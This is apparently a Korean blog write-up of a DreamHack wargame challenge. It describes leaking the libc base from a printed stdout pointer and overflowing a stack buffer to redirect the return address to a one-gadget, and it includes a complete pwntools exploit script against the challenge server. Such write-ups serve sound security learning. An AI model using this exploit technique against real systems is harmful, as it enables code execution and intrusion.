소스코드
주의할 부분은 if문을 통해 check가 0보다 클 경우 프로그램이 종료된다는 것 하나다. 나머지는 크게 신경 쓸 부분은 없는 것 같다.
바이너리 보호기법
여기서 주의할 부분은 PIE가 적용되어 바이너리와 libc가 실행마다 랜덤한 메모리 주소에 적재된다는 것이다.
exploit 설계
1. printf("stdout: %p\n", stdout);을 통해 libc_base의 주소를 구하고 oneshot 함수의 주소를 구한다
2. read(0, msg, 46);를 통해 스택 bof를 일으켜 Return Address를 oneshot 함수의 주소로 overwrite 한다.
oneshot 함수 선택
main 함수를 leave 할 때 rax = 0x0인 것을 확인할 수 있다. 이는 0x45226의 oneshot 함수의 조건에 부합하므로 우리는 libc_base+0x45226의 oneshot 함수를 사용하면 될 것이다.
스택 구조
exploit(oneshot.py)
from pwn import *
p = remote('host3.dreamhack.games', 11475)
lib = ELF('./libc-2.23.so')
p.recvuntil('stdout: 0x')
stdout = int(p.recvn(12), 16)
libc_base = stdout - lib.symbols['_IO_2_1_stdout_']
oneshot = libc_base + 0x45226
payload = b'A'*24 + p64(0) + b'B'*8 + p64(oneshot)
p.sendafter('MSG: ', payload)
p.interactive()
ㆍ여기서 if문(if(check>0) {exit(0)})을 우회하기 위해 check == 0이 되도록 payload를 설정했다.
ㆍ왜 libc_base로부터 stdout의 offset을 구할 때 lib.symbols['_IO_2_1_stdout_']를 썼는지는 https://jjeongsu.tistory.com/48의 글 마지막 부분 "주의할 점(libc base 구하기"를 참고하면 된다.
'DreamHack: System Hacking > F Stage 8' 카테고리의 다른 글
hook (2) | 2023.07.01 |
---|---|
[함께 실습] Hook Overwrite (0) | 2023.06.25 |
PIE & RELRO (0) | 2023.06.25 |